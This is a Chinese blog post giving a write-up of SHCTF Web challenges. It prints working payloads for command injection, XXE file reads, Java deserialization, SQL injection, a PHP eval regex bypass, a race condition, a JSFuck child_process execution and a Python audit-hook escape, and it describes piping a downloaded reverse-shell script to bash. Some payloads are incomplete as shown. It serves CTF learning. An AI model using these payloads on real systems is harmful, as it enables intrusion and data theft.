跳到主要内容
极客日志极客日志面向AI+效率的开发者社区
首页博客GitHub 精选镜像工具UI配色美学隐私政策关于联系
搜索内容 / 工具 / 仓库 / 镜像...⌘K搜索
注册
博客列表
编程语言Node.jsAIjava

SHCTF 第三届 Web 部分题目 Writeup

综述由AI生成SHCTF 第三届比赛中 Web 方向的多个题目解题思路。涵盖命令执行绕过(通配符、管道)、XXE 注入、Java 反序列化文件读取、Go WAF 大小写绕过、SQL 注入、JSFuck 代码执行、Python 沙箱逃逸及审计钩子绕过、以及 MCP 服务器路径遍历漏洞利用。通过源码分析、Payload 构造及后渗透提权,展示了从基础漏洞到复杂逻辑绕过的全流程技术细节。

苹果系统发布于 2026/4/5更新于 2026/5/2030 浏览
SHCTF 第三届 Web 部分题目 Writeup

[阶段 1] ez-ping

靶机展示

还是比较简单,不过估计 flag 是关键字会被拦截。

payload

看到 flag 在根目录下,估计 cat / flag 都是敏感字都被拦了,读文本文件除了 cat 以外 tail / head 等都很常用,加上用通配符 ? 绕过即可。

curl 'http://challenge.shc.tf:31693/ping.php' --data-urlencode '-c 1 127.0.0.1 && ls /'
# (......) dev etc flag (......)
curl 'http://challenge.shc.tf:31693/ping.php' --data-urlencode '-c 1 127.0.0.1 && tail /?la?'
# SHCTF{94c6789c-ea67-4271-b3b4-61271ac45d7c}

源码过滤+getshell

直接 ls 可以看到当前目录的 .php 文件,我们看下源码尝试 getshell。拦截规则在 ping.php,白名单允许 字母数字、.、-、/、?、*,虽然 * 也在里面不过下面黑名单也有。拿 shell 也比较简单,虽然直接在网页上拼接 revshell 命令失败了,不过我们可以让靶机从 vps 直接下载 revshell 脚本,用 curl / wget + 管道符 | bash / sh 即可。

<?php
header('Content-Type: text/plain; charset=utf-8');
if($_SERVER['REQUEST_METHOD']==='POST'){
    $domain=$_POST['domain'] ?? '';
    if(!preg_match('/^[a-zA-Z0-9\.\-\& \?\*\/]*$/', $domain)){
        http_response_code(400);
        echo"无效的域名!";
        exit;
    }
    // ... 省略部分逻辑
    try {
        $cmd="ping -c 4 ".$domain;
        if(!preg_match('/cat|tac|flag|\*/',$cmd)){
            $output= shell_exec($cmd." 2>&1");
        }else{
            $output="命令中包含非法字符!";
        }
        echo$output ?: "命令执行失败!";
    } catch (Exception $e){
        http_response_code(500);
        echo"错误:".$e->getMessage();
    }
}
?>

[阶段 2] Mini Blog

题干: 完全安全的博客系统

靶机展示

看到是个很简单的 blog 页面,可以发表文章以及修改个人信息。

简单信息收集

看到是 Python 搭建的服务器,第一反应是 SSTI,但是实际上并不是(主页可以看到其实我已经尝试了 {{ 7*7 }} 这种模板注入但并无效果),不死心再用 tplmap 跑了遍尝试也未能找到注入点。

攻击思路

看到数据是 XML 格式提交,那大概率是 XXE 实体注入了。

PAYLOAD

用 XXE 的 payload 看了下 /etc/passwd 直接就有回显了。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPEfoo[ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<post><title>&xxe;</title><content>123</content></post>

直接拿到了 /etc/hosts。

get flag

因为不知道 flag 具体位置,随便测试了下,运气好用 /flag 直接拿到了 flag 了。

[阶段 3] 你也懂 java?

题干: 源代码和二进制已经全部在这里了,没有任何秘密。

靶机展示

靶机主页打开后可以看到是一段源码,看上去是后端逻辑代码,并且有 /upload 接口,其中 new ObjectInputStream(exchange.getRequestBody(),未经校验将 body 传入,大概率是反序列化的打法。

网页源码

String method = exchange.getRequestMethod();
String path = exchange.getRequestURI().getPath();
if ("POST".equalsIgnoreCase(method) && "/upload".equals(path)) {
    try (ObjectInputStream ois = new ObjectInputStream(exchange.getRequestBody())) {
        Object obj = ois.readObject();
        if (obj instanceof Note) {
            Note note = (Note) obj;
            if (note.getFilePath() != null) {
                echo(readFile(note.getFilePath()));
            }
        }
    } catch (Exception e) {}
}

Note.jar

比赛环境赛题直接提供了 Note.jar 下载,下载下来用 jd-gui 查看下,代码如下,有 3 个私有变量,知道了 Note 对象的属性。

import java.io.Serializable;
public class Note implements Serializable {
    private static final long serialVersionUID = 1L;
    private String title;
    private String message;
    private String filePath;
    public Note(String title, String message, String filePath) {
        this.title = title;
        this.message = message;
        this.filePath = filePath;
    }
    // getters...
}

攻击思路

Note 对象调用了 getFilePath(),大概率是任意文件读取,因为后端逻辑没有校验传入,可构造恶意类,设置 FilePath 为敏感文件路径,用 /etc/passwd 或者 /etc/hostname 这种验证下。

创建恶意类

// Exp.java
import java.io.*;
public class Exp {
    public static void main(String[] args) {
        try {
            Note note = new Note("Exploit", "Reading Flag", "/etc/passwd");
            FileOutputStream fos = new FileOutputStream("payload.ser");
            ObjectOutputStream oos = new ObjectOutputStream(fos);
            oos.writeObject(note);
            oos.close();
            System.out.println("Payload 已生成:payload.ser");
        } catch (Exception e) { e.printStackTrace(); }
    }
}

设置 JDK 环境

kali 默认没 javac,不过碰巧因为打其他靶场传了个 jdk7 就用这个版本,当前 shell 环境要设好环境变量,后面成功编译的前提。

export JAVA_HOME=/home/kali/Desktop/jdk7
export PATH=$JAVA_HOME/bin:$PATH

编译恶意类

将 Note.java 和 Exp.java 放在同一个目录,编译后用 curl --data-binary 发送,因输出较多用 grep 过滤下关键字,看到已读取到了 /etc/passwd。

修改恶意类尝试得到 flag

因不知 flag 具体位置在哪先尝试 /flag,修改 Exp.java 中然后重新编译后并发送 payload,可以看到顺利拿到了 flag。

利用 python 直接发 payload

这道题目也可以利用 python + java 反序列化的特性,跳过用编译环节直接发送 payload,继而直接拿到 flag 或者相应的文件。

更加偷懒的方法

用下面的 payload,不但不用 jdk 编译恶意类,连 python 都省了。

echo -ne "\xac\xed\x00\x05\x73\x72\x00\x04\x4e\x6f\x74\x65..." > payload.bin
curl -X POST http://challenge.shc.tf:31865/upload --data-binary @payload.bin | grep SHCTF

[阶段 2] Go

题干: 我们开发了一个由 Go 语言编写的安全验证系统。防火墙(WAF)发誓它已经拦截了所有的 admin 角色请求。

靶机展示

可以看到返回一串 json。

过 waf+get flag

一开始尝试发送 GET 无效,改用 POST 发送发现响应改变。尝试 bypass 发现可以通过修改参数大小写绕过,预计防火墙只拦截了小写的 role。

curl "http://challenge.shc.tf:31025/" -d '{"Role":"admin"}'
# {"flag":"SHCTF{2ea0dca2-e397-4c7c-892e-785d30c2e19a}"...}

[阶段 1] 上古遗迹档案馆

题干: 你咋直接攻击我啊?渗透测试里不是这样的啊!你应该先向我发送一个数据确认我是什么类型的题目...

靶机展示

SQL 注入

这道题比较简单的,以 1' 作为参数就报错了。后面手注或者 sqlmap 都可以,最终 flag 路径在 archive_db-->secret_vault->secret_key。

sqlmap -u http://challenge.shc.tf:30879/?id=* --batch -D archive_db -T secret_vault --dump
# SHCTF{0ede81a7-627f-45c4-9a9d-63655a9d214e}

[阶段 1] kill_king

题干: 提升自己,杀死 King,或者,做点别的???

靶机展示

可以看到是个网页游戏,打开游戏后按 F12 打不开控制台估计被代码屏蔽了,不过可以先开控制台再打开网页就可以绕过。

攻击思路

这种 javascript 一般控制台都可以通过调整变量值、修改函数等方式,修改游戏底层逻辑代码,直接绕过初始设定。查看源码可以看到 javascript 源代码在 logic.js。

控制台中输入 _this.damage = 9999; 可实现一刀 99999 的效果,另外下面这个 payload 可以直接跳到最后一关国王:

_this.stage =10; _this.enemiesDefeated =10; _this.enemy =newEnemy(3000*20,"King Trost");
_this.boss =true; _this.damage=99999;

第二层 php 审计

在普通浏览器中过关会直接重定向到 xxx/check.php 刷新就会发现又 No access,通过 burpsuite 分析可以看到过关时 POST 会携带参数 result=win 访问 check.php。

使用 curl 发送 POST 可以看到 PHP 源码如下,除了 result 参数外,还提交 who / are / you 三个参数,其中 who / are 必须是数字,而 you 只能匹配非单词的字符。

<?php
if($_SERVER['REQUEST_METHOD']==='POST'){
    if(isset($_POST['result'])&&$_POST['result']==='win'){
        highlight_file(__FILE__);
        if(isset($_GET['who'])&&isset($_GET['are'])&&isset($_GET['you'])){
            $who=(String)$_GET['who'];
            $are=(String)$_GET['are'];
            $you=(String)$_GET['you'];
            if(is_numeric($who)&&is_numeric($are)){
                if(preg_match('/^\W+$/', $you)){
                    $code=eval("return $who$you$are;");
                    echo"$who$you$are = ".$code;
                }
            }
        }
    }
}
?>

php 审计攻击思路

这道题 get 传入三个参数,分别是 who / are / you,其中:

  • who 和 are 必须是数字;
  • you 从头到尾每一个字符都不能是字母、数字或下划线; 最终三个参数需要拼接成 return $who$you$are,同时要可以过 eval() 函数,也就是说必须是个合法的 php 的代码。

利用取反技巧绕过正则:

http://challenge.shc.tf:32551/check.php?who=1&are=2&you=?%28~%8c%86%8c%8b%9a%92%29%28~%96%9b%29:

最后是半成品的 payload

先用 .py 脚本生成要执行的命令,使用 curl 将 payload 传递给靶机。

payload=$(python payload.py "cat /flag")
curl -s -X POST "http://challenge.shc.tf:30940/check.php?who=1&are=2&you=$payload" -d "result=win"
# SHCTF{3545d5d6-8a20-42b8-877b-f0e83c19248b}

[阶段 1] ez_race

题干: 狠狠赚钱

靶机展示

攻击思路

核心有问题的源码是提现功能的 def form_valid() 函数,故意设置了 1 秒延迟,如果高并发可以多次提现提到余额为负,另外业务逻辑中,当余额为负数就会爆 flag。

def form_valid(self, form):
    amount = form.cleaned_data["amount"]
    with transaction.atomic():
        time.sleep(1.0) # <------ 故意设置的延迟
        user = models.User.objects.get(pk=self.request.user.pk)
        if user.money >= amount:
            user.money = F('money')- amount
            user.save()
            if user.money <0:<------ 金额小于 0 会爆 flag
                return HttpResponse(os.environ.get("FLAG","flag{flag_test}"))

payload

选到提现页面贴入 payload 然后发送到 console,如果失败的话,访问 /reset 接口,领取红包确保余额有 10 元再发送 payload。

(async()=>{
    const csrfTokenValue = document.querySelector('[name=csrfmiddlewaretoken]')?.value;
    const withdrawUrl = window.location.pathname;
    const amount =10;
    const bodyData =`csrfmiddlewaretoken=${csrfTokenValue}&amount=${amount}`;
    const requests = Array.from({length:10},async(v, i)=>{
        try{
            const res =await fetch(withdrawUrl,{method:"POST",headers:{"Content-Type":"application/x-www-form-urlencoded","X-CSRFToken": csrfTokenValue },body: bodyData });
            const text =await res.text();
            if(text.includes("SHCTF{")){ console.log(`[Thread ${i}] 成功!获取到 Flag`); return text.match(/(flag|CTF)\{.*?\}/)[0];}
        }catch(e){ console.error(`[Thread ${i}] 网络连接中断:${e.message}`);}
        return null;
    });
    const allResults =await Promise.all(requests);
    const finalFlag = allResults.find(r=> r !==null);
    if(finalFlag){ console.log(`恭喜!最终 Flag: ${finalFlag}`);}
})();

[阶段 1] calc?js?f**k!

题干: 怎么又是计算器?又是 js?f**k!

靶机展示

打开看到是个计算机,向 /calc 接口提交 POST 请求,传参 expr。

源码

因为网页有源码,可以看到只允许除了 8 以外的数字以及一些符号。

const WAF=(recipe)=>{
    const ALLOW_CHARS=/^[012345679!\.\-\+\*\/\(\)\[\]]+$/;
    if(ALLOW_CHARS.test(recipe)){return true;}
    return false;
};
function calc(operator){return eval(operator);}
app.post('/calc',(req, res)=>{
    const{ expr }= req.body;
    if(WAF(expr)){var result =calc(expr); res.json({ result });}
    else{ res.json({"result":"WAF"});}
});

攻击思路

jsf*ck 只需要 !、[ 、] 即可完成攻击,白名单字符已绝对够用。

利用 jsf**k 网站

  1. 查看根目录 process.mainModule.require('child_process').execSync('ls /').toString() payload 利用 jsf**k 转换,放入网站下图框中,注意 Eval Source 需要勾选。
  2. 利用 curl / hackbar / python 等工具发送 payload,注意选择 application/json。
  3. 最终读取 flag 的 payload 如下,可修改端口可直接复用。
curl -X POST http://challenge.shc.tf:30518/calc -H "Content-Type: application/json" -d '{"expr":"[][(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]])()([][(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+([]+[])[(![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()[+!+[]+[!+[]+!+[]]]+((!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+([][[]]+[])[!+[]+!+[]]+([][[]]+[])[+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+([][[]]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+([][[]]+[])[!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]])[(![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[+!+[]])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]]((!![]+[])[+[]])[([][(!![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]](([][(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]]+![]+(![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]])()[([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]])+[])[+!+[]])+([]+[])[(![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()[+!+[]+[!+[]+!+[]]])())"}

[阶段 1] Ezphp

题干: 在未来的某一天,人类已经能够进行太阳系内的旅行...

(内容待补充)

[阶段 1] Eazy_Pyrunner

题干: 任何人都可以运行自己的 Python 程序!不过大嗨客就算了,还有运行的程序必须是我喜欢的。

靶机展示

注意箭头地址,下面要用到。

攻击思路

  1. 展示页上 关于 这里可能存在文件包含漏洞。
  2. 文本框内可以运行 Python 代码,会有暴露很多线索,另外这种题型大概率是绕过后 RCE。

dir() 下可以看到两个莫名其妙的函数,大概率是审计钩子。

高敏字段测试了下发现都被拦了。

文件包含获得源码

利用上面泄露的地址可以拿到 .py 的源码。

from flask import Flask, render_template_string, request, jsonify
import subprocess
import tempfile
import os
import sys
app = Flask(__name__)
@app.route('/')
def index():
    file_name = request.args.get('file','pages/index.html')
    try:
        with open(file_name,'r', encoding='utf-8')as f:
            content = f.read()
    except Exception as e:
        with open('pages/index.html','r', encoding='utf-8')as f:
            content = f.read()
    return render_template_string(content)
def waf(code):
    blacklisted_keywords =['import','open','read','write','exec','eval','__','os','sys','subprocess','run','flag','\'','"']
    for keyword in blacklisted_keywords:
        if keyword in code:return False
    return True
@app.route('/execute', methods=['POST'])
def execute_code():
    code = request.json.get('code','')
    if not code:return jsonify({'error':'请输入 Python 代码'})
    if not waf(code):return jsonify({'error':'Hacker!'})
    try:
        with tempfile.NamedTemporaryFile(mode='w', suffix='.py', delete=False)as f:
            f.write(f"""import sys
sys.modules['os'] = 'not allowed'
def is_my_love_event(event_name): return event_name.startswith("Nothing is my love but you.")
def my_audit_hook(event_name, arg): if len(event_name) > 0: raise RuntimeError("Too long event name!") if len(arg) > 0: raise RuntimeError("Too long arg!") if not is_my_love_event(event_name): raise RuntimeError("Hacker out!") __import__('sys').addaudithook(my_audit_hook)
{code}""")
            temp_file_name = f.name
        result = subprocess.run([sys.executable, temp_file_name], capture_output=True, text=True, timeout=10)
        os.unlink(temp_file_name)
        return jsonify({'stdout': result.stdout,'stderr': result.stderr })
    except subprocess.TimeoutExpired:return jsonify({'error':'代码执行超时(超过 10 秒)'})
    except Exception as e:return jsonify({'error':f'执行出错:{str(e)}'})
    finally:
        if os.path.exists(temp_file_name): os.unlink(temp_file_name)
if __name__ =='__main__': app.run(debug=True)

blacklist 涉及如下关键字:['import', 'open', 'read', 'write', 'exec', 'eval', '__', 'os', 'sys', 'subprocess', 'run', 'flag', '\'', '"']。

审计函数逻辑:

  • sys.modules['os'] = 'not allowed' # os 不让用
  • return event_name.startswith("Nothing is my love but you.") # event name 必须以 关键字开头
  • len(event_name) > 0 # event name 不能大于 0
  • len(arg) # 参数不能大于 0

payload

这道题相对还是比较简单,可以用内置方法让审计函数失效,再通过 posix 等来执行命令,具体 payload 在下面,复用的时候 注意把注释中和 blacklist 冲突的关键字删掉。

# 1. 初始化与工具获取
g =globals()
# 2. 彻底瘫痪审计逻辑
g[bytes([105,115,95,109,121,95,108,111,118,101,95,101,118,101,110,116]).decode()]=lambda x:True
bi[bytes([108,101,110]).decode()]=lambda x:0
# 3. 绕过模块封锁获取 RCE 接口
try:
    s_mod = g[bytes([115,121,115]).decode()]
    m_dict =getattr(s_mod,bytes([109,111,100,117,108,101,115]).decode())
    po_mod = m_dict.get(bytes([112,111,115,105,120]).decode())
    s_func =getattr(po_mod,bytes([115,121,115,116,101,109]).decode())
    s_func(bytes([105,100]).decode())
except: pass
